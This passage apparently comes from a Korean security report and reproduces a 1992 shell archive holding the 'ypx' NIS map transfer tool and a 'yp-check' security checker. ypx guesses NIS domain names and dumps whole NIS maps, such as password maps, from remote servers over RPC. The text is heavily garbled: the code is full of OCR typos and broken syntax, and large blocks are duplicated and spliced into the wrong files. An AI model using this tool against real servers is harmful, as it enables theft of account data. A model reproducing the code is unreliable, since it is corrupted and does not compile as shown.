Xfollow. Some ideas for improvements are:

X-Find out how to transfer a map if the domainname is unknown.

X-Avoid the portmapper by scanning a range of port numbers.

X-Anything else I can think of.

X

XProgress is also made in effort to protect your system from NIS map

Xtransfers by unauthorized individuals with unknown motives.

X- Sun will soon publish a bugfix, which contains new binaries for

Xypserv and other programs, to add access control.

X- Wietse Venema, the world's #1 security expert, has released a

Xversion of portmap.c with access control similar to has exellent

Xtcpwrapper package. It is probably ftp'able from cert.sei.cmu.edu

Xand ftp.win.tue.nl. His email adress is [email protected].

X

XComments

X-------

XAny comments and suggestions are welcome. Send mail to:

[email protected]. I'll be happy to hear from you.

X

XReferences

X-------

XNetwork Programming manual from SunOS 4.1

X/usr/include/rpcsvc/yp*

X

XRob J Nauta

X

END_OF_README

if test 2437 -ne 'wc -c <README';then

echo shar: ₩"README₩" unpacked with wrong size!

fi

#end of overwriting check

fi

if test -f nhost.c -a "${1}" != "-c" ; then

echo shar: Will not over-write existing file ₩"nhost.c₩"

else

echo shar: Extracting ₩"nhost.c₩" ₩(2553 characters₩)

sed "s/^X//" >nhost.c <<'END_OF_nhost.c'

X/* nhost.c 2.3 dd. aug 13 1992 (c) Copyright 1991, 1992 Rob J. Nauta.

X * This module contains the findhost(), getsock() and opensock() functions.

X * findhost() returns the official name of a host, indicated by a name or

Page 51: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

X * number. findhost2() returns a struck hostent *, and is meant to replace

X * findhost. getsock() returns a struck sockaddr_in *. with the relevant

X * fields filled with the internet number of the host. opensock() opens a

X * socket to a given port on a given host. */

X#include <stdio.h>

X#include <sys/types.h>

X#include <sys/socket.h>

X#include <netinet/in.h>

X#include <netdb.h>

X#ifndef lint

Xstatic char idstr[] = "@(#)nhost.c 2.1 91/11/20 RJN₩n₩";

X#endif

X

Xstruct hostent *

Xfindhost2(host) /* Find a real hostname for the argument */

Xchar *host;

X{

Xstruct hostent *hp;

Page 52: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

Xunsigned long num;

X

Xif ((hp = gethostbyname(host) == NULL) {

Xnum = inet_addr(host); /* Try the number */

Xif (hp = gethostbyaddr(&num, sizeof(num),0) == NULL)

Xreturn (NULL);

X}

Xreturn(hp);

X}

X

Xchar *

Xfindhost(host)

Xchar *host;

X{

Xstruct hostent *hp;

X

Xif (hp = findhost2(host))

Xreturn (hp ->h_name);

Xfprintf(stderr, "can't get adress for %s₩n", host);

Xreturn (NULL);

X}

X

Xstruct sockaddr_in *

Xgetsock(arg)

Xchar *arg;

X{

Xstatic struct sockaddr_in sin;

Xstatic struct hostent *hp;

X

Xsin.sin_addr.s_addr = inet_addr(arg);

Xif(sin.sin_addr.s_Addr != -1) {

X/* arg is aaa.bbb.ccc.ddd, so fill sin with data */

Xsin.sin_family = AF_INET;

Xreturn (&sin);

X}

X/* argument is probably a hostname */

Xhp = gethostbyname(arg);

Xif(hp) {

X/* Hostname lookup was successfull */

Xsin.sin_family = hp->h_addrtype;

X#if defined(h_addr) /* In 4.3, this is a #define */

Page 53: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

Xmemcpy((caddr_t) & sin.sin_addr,

Xhp->h_addr_list[0], hp->h_length);

X#else /* defined(h_addr) */

Xmemcpy((caddr_t) & sin.sin_addr,

Xhp->h_addr, hp->h_length);

X#endif /* defined(h_addr) */

Xsin.sin_family = AF_INET;

Xreturn (&sin);

X}

Xfprintf(stderr, "Can't find %s !₩n", arg);

Xreturn (NULL); /* Nothing found */

X}

X

X/* opensock - open a stream connection to a port on a host. Returns -1 on

X* failure, with errno set. */

Xopensock(hostname, portnum)

Xchar *hostname;

Xint portnum;

X{

Page 54: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

Xstruct sockaddr_in *sp;

Xint s;

X

Xif ((sp = getsock(hostname)) == NULL)

Xreturn (-1); /* Unknown host */

X

Xsp ->sin_port = htons((u_short) portnum);

Xif ((s = socket(sp->sin_family, SOCK_STREAM, 0)) < 0)

Xreturn (-1);

Xif(connect(s, sp, sizeof(*sp)) < 0) {

Xclose(s);

Xreturn (-1);

X}

Xreturn (s); /* Success */

X}

END_OF_nhost.c

if test 2553 -ne 'wc -c <nhost.c' ; then

echo shar : ₩"nhost.c₩n" unpackped with wrong size!

fi

#end of overwriting check

fi

if test -f nhost.h -a "${1}" != "-c" ; then

echo shar : Will not over-write existing file ₩n"nhost.h₩"

else

echo shar : Extracting ₩"nhost.h₩" ₩(122 characters₩)

sed "s/^X//" > nhost.h <<'END_OF_nhost.h'

Xextern char *findhost();

Xextern struct hostent *findhost2();

Xextern struct sockaddr_in *getsock();

Xextern int opensock();

END_OF_nhost.h

if test 122 -ne 'wc -c <nhost.h' ; then

echo shar : ₩"nhost.h₩" unpacked with wrong size!

fi

#end of overwriting check

fi

if test -f yp-check .c -a "${1}" != "-c" ; then

echo shar : Will not over-write exiting file ₩"yp-check.c₩"

else

echo shar : Extracting ₩"yp-check.c₩" ₩(2779 characters₩)

sed "s/^X//" > yp-check.c <<'END_OF_yp-check.c'

Page 55: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

X/* YP security checker. Meant as an addition to COPS. */

X

X#include <stdio.h>

X#include <rpc/rpc.h>

X#include <rpcsvc/yp_port.h>

X#include "nhost.h"

X#ifndef lint

Xstatic char *copyright = '@(#)yp-check.c 1.0 92/05/10 Rob J. Nauta₩n";

X#endif

X

Xchar *get_sname();

Xchar *defaultdomain. *programname;

X

XCLIENT *

Xrpc_yp_client(Arg, thisport)

Xchar *arg;

Xint thissport;

X{

Xchar myhost[100];

Page 56: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

Xstruct sockaddr_in *server_addr;

Xint sock = RPC_ANYSOCK, klad = 0;

XCLIENT *client;

X

Xif (gethostname(myhost, 100)) /* Get our own hostname */

Xperror(programname);

Xserver_addr = getsock(arg); /* Get adress info */

Xif(server_addr == NULL)

Xreturn (NULL);

Xserver_addr->sin_port = thisport; /* Normally 0 (=portmapper) */

X

Xif ((client = clnttcp_create(server_addr, YPPROG, YPVERS,

X&sock, 0, 0)) == NULL) {

X clnt_pcreateerror(programname);

Xreturn (NULL); /* Failure */

X}

Xclient->cl_auth = authunix_create(myhost, 0, 0, 1, &klad);

Xreturn (client); /*SUCCESS */

X}

X

Xmain(argc, argv)

Xint argc;

Xchar *argv[];

X{

Xint c;

Xit debug = 0, errflg =0;

Xint thisport = 0;

Xchar *hostname

Xchar which[256];

XFILE *P;

Xextern int optind;

Xextern char *optarg;

XCLIENT *client; /* Client pointer */

X

Xprogramname = argv[0];

Xwhile((c = getopt(argc, argv, "d?")) != EOF)

Xswitch(c) {

Xcase 'd' : /* debug */

Xdebug++;

Xbreak;

Xcase '?' : / * help */

Page 57: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

Xdefault;

Xerrflg++;

Xbreak;

X}

Xif(optind > argc)

Xerrflg++;

Xif(errflg) {

Xfprintf(stderr, "Usage: %s [-d] [domainname ... ]₩n",

Xprogramname);

Xexit(1);

X}

Xyp_get_default_domain(&defaultdomain);

Xif(debug)

Xfprintf(stderr, "The default domainname is: %s₩n",

Xdefaultdomain);

X

Xif((P = popen("ypwhich", "r")) == NULL ) {

X

Xperror(argv[0]);

Xexit(1);

Page 58: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

X}

Xfscanf(P, "%s", which);

Xif(strcmp(which, "ypwhich:") == NULL) {

X/* Very ugly kludge, but this is to jeep it simple */

Xfprintf("strderr, "%s: Error ruuning ypwhich.₩n", argv[0]);

Xexit(1);

X}

Xif(debug)

Xfprintf(stderr, "The current NIS server is: %s₩n", which);

Xclient = rpc_yp_client(which, thispodrt);

Xif(client == NULL)

Xexit(2); /* Host not found, or no ypserv */

Xhostname = get_smname(which, debug);

Xif (debug)

Xfprintf(stderr, "Sendmail on that machine says its hostname is: ₩n", hostname);

X

X/* Now test whether the domainname is too obvious */

Xif (strstr(which, defaultdomain)) {

Xprintf("Warring! The NIS domainname (%s)₩n is part of the NIS server's hostname

(%s)!₩n", defaultdomain, which);

Xreturn (0);

X}

Xif (strstr(hostname, defaultdomain)) {

Xprintf("Warring! The NIS domainname (%s)₩n is part of the NIS server's hostname

(%s)!₩n", defaultdomain, hostname);

Xreturn(0);

X}

Xauth_destroy(client->cl_auth); /* Free autherization struct *.

Xclnt_destroy(client); /*Free client structure */

Xreturn(0);

END_OF_YP-check.c

if test 2779 -ne -c <yp-check.c' ; then

echo shar : ₩"yp-check.c₩" unpacked with wrong size!

fi

#end of overwriting check

fi

if test -f ypx-add.c -a "${1}} != "-c" ; then

echo shar : Will not over-write existing file ₩"ypx-add.c₩"

else

echo shar : Extracting ₩"ypx-add.c₩" ₩(588 characters₩)

sed "s/^X//" >ypx-add.c <<'END_OF_ypx-add.c'

Page 59: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

X#include <string.h>

X#define extern

X#include "ypx-add.h"

X/*

X*Define extern as " " to define the otherwise external table and table as

X*local variable in this module.

X*/

X

X#ifndef lint

Xstatic char *copyright = "@(#)ypx-add.c 1.1 91/11/20 Rob J. Nauta₩n";

X#endif

X

X/*

X* Parses a hostname, and adds it to the table

X*/

Xvoid

Xparse(name);

Xchar *name;

Page 60: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

X{

Xchar *a = name, *b;

Xchar buffer[128];

X

Xwhile(1) {

Xadd(a);

Xb = strchr(a, '.');

Xif(b) {

Xstrncpy(buffer, a, b - a);

Xbuffer[b - a] = '₩0';

Xadd(buffer);

Xa = (++b);

X} else

Xreturn;

X}

X}

END_OF_ypx-add.c

if test 558 -ne 'wc -c <ypx-add.c' ; then

echo shar : ₩"ypx-add.c₩" unpacked with wrong size!

fi

#end of overwriting check

fi

if test -f ypx-add.h -a "${1}" != "-c" ; then

echo shar : Will not over-write exiting file ₩"ypx-add.h₩"

else

echo shar : Extracting ₩"ypx-add.h₩"₩(117 characters₩)

sed "s/^X//" >ypx-add.h <<'END_OF_ypx-add.h'

X#define TABLESIZE 50

Xextern char table[TABLESIZE][80];

Xextern int tablec;

#define add(a) strcpy(table[tablec++],a);

END_OF_ypx-add.h

if test 117 -ne 'wc-c <ypx-add.h₩" ; then

echo shar: ₩"ypx-add.h₩" unpacjed with wrong size!

fi

#end of overwriting check

fi

if test -f ypx-boot.c -a "${1}" != "-c"; then

echo shar : Will not over-write existing file ₩"ypx-boot.c₩"

else

echo shar : Extracting ₩" ypx-boot.c₩" ₩(1202 characters₩)

Page 61: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

sed "s^/X//" >ypx-boot.c << 'END_OF_ypx-boot.c'

X/*

X*Functive ypx_boot(host). Repot de bootparams service aan op host 'host'.

X*Resultaat is een char *. Als er iets mis gaat, return een (char *) 0.

X*/

X#include <stdio.h>

X#include <sys/errno.h>

X#include <sys/types.h>

X#include <sys/socket.h>

X#include <rpc/rpc.h>

X#include <rpcsvc/bootparam.h>

X#include "nhost.h"

X

X#ufndef lint

Xstatic char *copyright = "@(#)ypx_boot.c 1.1 92/08/22 Rob J. Nauta₩n";

X#endif

X

Xchar *progrmaname;

Xint option;Xunsigned long num;

X

Xif ((hp = gethostbyname(host) == NULL) {

Xnum = inet_addr(host); /* Try the number */

Xif (hp = gethostbyaddr(&num, sizeof(num),0) == NULL)

Xreturn (NULL);

X}

Xreturn(hp);

X}

X

Xchar *

Xfindhost(host)

Xchar *host;

X{

Xstruct hostent *hp;

X

Xif (hp = findhost2(host))

Xreturn (hp ->h_name);

Xfprintf(stderr, "can't get adress for %s₩n", host);

Xreturn (NULL);

X}

X

Page 62: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

Xstruct sockaddr_in *

Xgetsock(arg)

Xchar *arg;

X{

Xstatic struct sockaddr_in sin;

Xstatic struct hostent *hp;

X

Xsin.sin_addr.s_addr = inet_addr(arg);

Xif(sin.sin_addr.s_Addr != -1) {

X/* arg is aaa.bbb.ccc.ddd, so fill sin with data */

Xsin.sin_family = AF_INET;

Xreturn (&sin);

X}

X/* argument is probably a hostname */

Xhp = gethostbyname(arg);

Xif(hp) {

X/* Hostname lookup was successfull */

Xsin.sin_family = hp->h_addrtype;

X#if defined(h_addr) /* In 4.3, this is a #define */

Xmemcpy((caddr_t) & sin.sin_addr,

Xhp->h_addr_list[0], hp->h_length);

X#else /* defined(h_addr) */

Xmemcpy((caddr_t) & sin.sin_addr,

Xhp->h_addr, hp->h_length);

X#endif /* defined(h_addr) */

Xsin.sin_family = AF_INET;

Xreturn (&sin);

X}

Xfprintf(stderr, "Can't find %s !₩n", arg);

Xreturn (NULL); /* Nothing found */

X}

X

X/* opensock - open a stream connection to a port on a host. Returns -1 on

X* failure, with errno set. */

Xopensock(hostname, portnum)

Xchar *hostname;

Xint portnum;

X{

Page 63: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

Xstruct sockaddr_in *sp;

Xint s;

X

Xif ((sp = getsock(hostname)) == NULL)

Xreturn (-1); /* Unknown host */

X

Xsp ->sin_port = htons((u_short) portnum);

Xif ((s = socket(sp->sin_family, SOCK_STREAM, 0)) < 0)

Xreturn (-1);

Xif(connect(s, sp, sizeof(*sp)) < 0) {

Xclose(s);

Xreturn (-1);

X}

Xreturn (s); /* Success */

X}

END_OF_nhost.c

if test 2553 -ne 'wc -c <nhost.c' ; then

echo shar : ₩"nhost.c₩n" unpackped with wrong size!

fi

#end of overwriting check

fi

if test -f nhost.h -a "${1}" != "-c" ; then

echo shar : Will not over-write existing file ₩n"nhost.h₩"

else

echo shar : Extracting ₩"nhost.h₩" ₩(122 characters₩)

sed "s/^X//" > nhost.h <<'END_OF_nhost.h'

Xextern char *findhost();

Xextern struct hostent *findhost2();

Xextern struct sockaddr_in *getsock();

Xextern int opensock();

END_OF_nhost.h

if test 122 -ne 'wc -c <nhost.h' ; then

echo shar : ₩"nhost.h₩" unpacked with wrong size!

fi

#end of overwriting check

fi

if test -f yp-check .c -a "${1}" != "-c" ; then

echo shar : Will not over-write exiting file ₩"yp-check.c₩"

else

echo shar : Extracting ₩"yp-check.c₩" ₩(2779 characters₩)

sed "s/^X//" > yp-check.c <<'END_OF_yp-check.c'

Page 64: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

X/* YP security checker. Meant as an addition to COPS. */

X

X#include <stdio.h>

X#include <rpc/rpc.h>

X#include <rpcsvc/yp_port.h>

X#include "nhost.h"

X#ifndef lint

Xstatic char *copyright = '@(#)yp-check.c 1.0 92/05/10 Rob J. Nauta₩n";

X#endif

X

Xchar *get_sname();

Xchar *defaultdomain. *programname;

X

XCLIENT *

Xrpc_yp_client(Arg, thisport)

Xchar *arg;

Xint thissport;

X{

Xchar myhost[100];

Page 65: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

Xstruct sockaddr_in *server_addr;

Xint sock = RPC_ANYSOCK, klad = 0;

XCLIENT *client;

X

Xif (gethostname(myhost, 100)) /* Get our own hostname */

Xperror(programname);

Xserver_addr = getsock(arg); /* Get adress info */

Xif(server_addr == NULL)

Xreturn (NULL);

Xserver_addr->sin_port = thisport; /* Normally 0 (=portmapper) */

X

Xif ((client = clnttcp_create(server_addr, YPPROG, YPVERS,

X&sock, 0, 0)) == NULL) {

X clnt_pcreateerror(programname);

Xreturn (NULL); /* Failure */

X}

Xclient->cl_auth = authunix_create(myhost, 0, 0, 1, & klad);

Xreturn (client); /*SUCCESS */

X}

X

Xmain(argc, argv)

Xint argc;

Xchar *argv[];

X{

Xint c;

Xit debug = 0, errflg =0;

Xint thisport = 0;

Xchar *hostname

Xchar which[256];

XFILE *P;

Xextern int optind;

Xextern char *optarg;

XCLIENT *client; /* Client pointer */

X

Xprogramname = argv[0];

Xwhile((c = getopt(argc, argv, "d?")) != EOF)

Xswitch(c) {

Xcase 'd' : /* debug */

Xdebug++;

Xbreak;

Xcase '?' : / * help */

Page 66: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

Xdefault;

Xerrflg++;

Xbreak;

X}

Xif(optind > argc)

Xerrflg++;

Xif(errflg) {

Xfprintf(stderr, "Usage: %s [-d] [domainname ... ]₩n",

Xprogramname);

Xexit(1);

X}

Xyp_get_default_domain(&defaultdomain);

Xif(debug)

Xfprintf(stderr, "The default domainname is: %s₩n",

Xdefaultdomain);

X

Xif((P = popen("ypwhich", "r")) == NULL ) {

X

Xperror(argv[0]);

Xexit(1);

Page 67: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

X}

Xfscanf(P, "%s", which);

Xif(strcmp(which, "ypwhich:") == NULL) {

X/* Very ugly kludge, but this is to jeep it simple */

Xfprintf("strderr, "%s: Error ruuning ypwhich.₩n", argv[0]);

Xexit(1);

X}

Xif(debug)

Xfprintf(stderr, "The current NIS server is: %s₩n", which);

Xclient = rpc_yp_client(which, thispodrt);

Xif(client == NULL)

Xexit(2); /* Host not found, or no ypserv */

Xhostname = get_smname(which, debug);

Xif (debug)

Xfprintf(stderr, "Sendmail on that machine says its hostname is: ₩n", hostname);

X

X/* Now test whether the domainname is too obvious */

Xif (strstr(which, defaultdomain)) {

Xprintf("Warring! The NIS domainname (%s)₩n is part of the NIS server's hostname

(%s)!₩n", defaultdomain, which);

Xreturn (0);

X}

Xif (strstr(hostname, defaultdomain)) {

Xprintf("Warring! The NIS domainname (%s)₩n is part of the NIS server's hostname

(%s)!₩n", defaultdomain, hostname);

Xreturn(0);

X}

Xauth_destroy(client->cl_auth); /* Free autherization struct *.

Xclnt_destroy(client); /*Free client structure */

Xreturn(0);

END_OF_YP-check.c

if test 2779 -ne -c <yp-check.c' ; then

echo shar : ₩"yp-check.c₩" unpacked with wrong size!

fi

#end of overwriting check

fi

if test -f ypx-add.c -a "${1}} != "-c" ; then

echo shar : Will not over-write existing file ₩"ypx-add.c₩"

else

echo shar : Extracting ₩"ypx-add.c₩" ₩(588 characters₩)

sed "s/^X//" >ypx-add.c <<'END_OF_ypx-add.c'

Page 68: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

X#include <string.h>

X#define extern

X#include "ypx-add.h"

X/*

X*Define extern as " " to define the otherwise external table and table as

X*local variable in this module.

X*/

X

X#ifndef lint

Xstatic char *copyright = "@(#)ypx-add.c 1.1 91/11/20 Rob J. Nauta₩n";

X#endif

X

X/*

X* Parses a hostname, and adds it to the table

X*/

Xvoid

Xparse(name);

Xchar *name;

Page 69: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

X{

Xchar *a = name, *b;

Xchar buffer[128];

X

Xwhile(1) {

Xadd(a);

Xb = strchr(a, '.');

Xif(b) {

Xstrncpy(buffer, a, b - a);

Xbuffer[b - a] = '₩0';

Xadd(buffer);

Xa = (++b);

X} else

Xreturn;

X}

X}

END_OF_ypx-add.c

if test 558 -ne 'wc -c <ypx-add.c' ; then

echo shar : ₩"ypx-add.c₩" unpacked with wrong size!

fi

#end of overwriting check

fi

if test -f ypx-add.h -a "${1}" != "-c" ; then

echo shar : Will not over-write exiting file ₩"ypx-add.h₩"

else

echo shar : Extracting ₩"ypx-add.h₩"₩(117 characters₩)

sed "s/^X//" >ypx-add.h <<'END_OF_ypx-add.h'

X#define TABLESIZE 50

Xextern char table[TABLESIZE][80];

Xextern int tablec;

#define add(a) strcpy(table[tablec++],a);

END_OF_ypx-add.h

if test 117 -ne 'wc-c <ypx-add.h₩" ; then

echo shar: ₩"ypx-add.h₩" unpacjed with wrong size!

fi

#end of overwriting check

fi

if test -f ypx-boot.c -a "${1}" != "-c"; then

echo shar : Will not over-write existing file ₩"ypx-boot.c₩"

else

echo shar : Extracting ₩" ypx-boot.c₩" ₩(1202 characters₩)

Page 70: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

sed "s^/X//" >ypx-boot.c << 'END_OF_ypx-boot.c'

X/*

X*Functive ypx_boot(host). Repot de bootparams service aan op host 'host'.

X*Resultaat is een char *. Als er iets mis gaat, return een (char *) 0.

X*/

X#include <stdio.h>

X#include <sys/errno.h>

X#include <sys/types.h>

X#include <sys/socket.h>

X#include <rpc/rpc.h>

X#include <rpcsvc/bootparam.h>

X#include "nhost.h"

X

X#ufndef lint

Xstatic char *copyright = "@(#)ypx_boot.c 1.1 92/08/22 Rob J. Nauta₩n";

X#endif

X

Xchar *progrmaname;

Xint option;

Page 71: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

X

Xchar *

Xbootname(host)

Xchar *host;

X{

Xint stat , i;

Xstatic struct bp_whoami bp_arg, *bp_p;

Xstatic struct bp_whoami_res bp_r, *bp_res = NULL;

X

Xbp_p=&bp_arg;

Xbp_arg.client_address.address.type=1;

Xbp_arg.client_address.bp_address.ip_addr.host=(char)131;

Xbp_arg.client_address.bp_address.ip_addr.host=(char)155;

Xbp_arg.client_address.bp_address.ip_addr.lh=(char)70;

Xbp_arg.client_address.bp_address.ip_addr.impno=(char)17;

Xbp_res=&bp_r;

Xbp_r.client_name=malloc(1024);

Xbp_r.domain_name=malloc(1024);

X

Xif(stat = callrpc(host, BOOTPARAMPROG, BOOTPARAMVERS,

XBOOTPARAMPROC_WHOAMI, xdr_bp_whoami_arg, &bp_arg,

Xxdr_bp_whoami_res, bp_res)) {X

clnt_perrno(stat);

Xreturn(NULL);

X}

X/* Print de gevonden gegevens uit */

Xreturn(bp_res->domain_name);

X}

END_OF_ypx-boot.c

if test 1202 -ne 'we -c <ypx-boot.c' ; then

echo shar : ₩"ypx-boot.c₩" unpacked with wrong size!

fi

#end of overwriting check

fi

if test -f ypx-func.c -a "${1}" !="-c" ; then

echo shar : Will not over -write existing file ₩"ypx-func.c₩"

else

echo shar : Extracting ₩"ypx-func.c₩" ₩(2809 characters₩)

sed "s/^//" >ypx-func.c <<'END_OF_ypx-func.c'

X#include <stdio.h>

X#include <sys/time.h>

Page 72: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

X#include <rpc/rpc.h>

X#include <rpcsvc/yp_prot.h>

X#include "nhost.h"

X#include "ypx-add.h"

X

X#ifnef lint

Xstatic char *coptright = "@(#)ypx-func.c 2.2 92/05/08 Rob J. Nauta₩";

X#endif

Xstatic struct timeval TIEMOUT = {25. 0}; / * total timeout */

Xectern char *programname, *ypdomain;

X

XCLIENT *

Xrpc_yp_client(arg, thisport);

Xchar *arg;

Xint thisport;

X{

Xchar myhost[100];

Xstruct sockaddr_in *server_addr;

Xint sock = RPC_ANYSOCK, klad = 0;

Page 73: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

XCLIENT *client;

X

Xif (gethostname(myhost, 100)) /* Get our own hostname */

Xperror(programname);

Xserver_addr = getsock(arg); /* Get adress info */

Xif(server_addr = NULL)

Xreturn (NULL);

Xserver_addr->sin_port = thisport; /* Normally 0 (==portmapper)*/

X

X/*

X* We use tcp, because receiving thousands of udp packets would slow

X* down things considerably.

X*/

Xif((client = clinttcp_create(server_addr, YPPROG, YPVERS,

X&sock, 0 ,0)) == NULL) {

Xclnt_pcreateerror(programname);

Xreturn (NULL); /* Success */

X}

X

Xstatic

Xgetmap(client, map, domain, outputfile)

XCLIENT *client;

Xchar *map, *domain;

XFILE *outputfile;

X{

Xstruct ypreq_nokey no; /* To startlookup */

Xstruct ypreq_key key; /* To continue lookup */

Xenum clnt_stat re;

Xstatic struct ypresp_key_val resp; /* Results of lookup */

Xchar buffer[1024];

X

Xresp.keydat.dptr = malloc(1024);

Xresp.valdat.dptr = malloc(1024);

Xno.domain = domain; /* Startup values */

Xno.map = map;

X/* Get the first entry */

Xre = clnt_call(client, YPPROC_FIRST, xdr_ypreq_nokey, &no,

Xxdr_ypresp_key_val, &resp, TIMEOUT);

Xif(re != RPC_SUCCESS) {

Xclnt_perrno(re);

Xreturn (2);

Page 74: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

X}

Xif (resp.status != 1)

Xreturn (1); /* Success, but no map, domainname wrong */

Xwhile(resp.status == 1) {

Xstrncpy(buffer, resp.valdat.dptr, resp.valdat.dsize);

Xbuffer[resp.valdat.dsize]=(char) 0;

Xfprint(outputfile, "%s₩n",buffer);

X

Xkey.domain = domain;

Xkey.map = mao;

Xkey.keydat.dptr = resp.keydat.dptr;

Xkey.keydat.dsize = resp.keydat.dsize;

X

X/* Get next entry, using the previous one */

Xre = clnt_call(client, YPPROC_NEXT, xdr_ypreq_key, &key,

Xxdr_ypresp_key_val, &resp, TIMEOUT);

Page 75: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

Xif(re !=RPC_SUCCESS) {

Xclnt_perrno(re);

Xreturn (2);

X}

X}

Xreturn (0);

X}

X

X/*

X*trymap - Tries the list of domainnames in table[] with getmap().

X*/

Xtrymap(client, mapname, debug, outputfile)

XCLIENT *client;

Xchar *mapname;

Xint debug;

XFILE *outputfile;

X{

Xint teller = 0, res;

Xwhile(teller < tablec) {

Xif(debug)

Xfprint(stderr, "Trying domain %s₩n", table[teller]);

Xif((res = getmap(client, mapname, table[teller], outputfile)

X)==0) {

Xypdomain = table[teller];

Xreturn (0); /* success */

X}

Xteller++;

X}

Xreturn (res); /* failure */

X}

END_OF_ypx-FUNC.C

if test 2809 -ne 'wc -c <ypx-func.c' ; then

echo shar : ₩"ypx-func.c₩" unpacked with wrong size!

fi

#end of overwriting check

fi

if test -f ypx-main.c -a "${1}" !="-c" ; then

echo shar : Will not over -write existing file ₩"ypx-main.c₩"

else

echo shar : Extracting ₩"ypx-main.c₩" ₩(1974 characters₩)

sed "s/^//" >ypx-main.c <<'END_OF_ypx-main.c'

Page 76: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

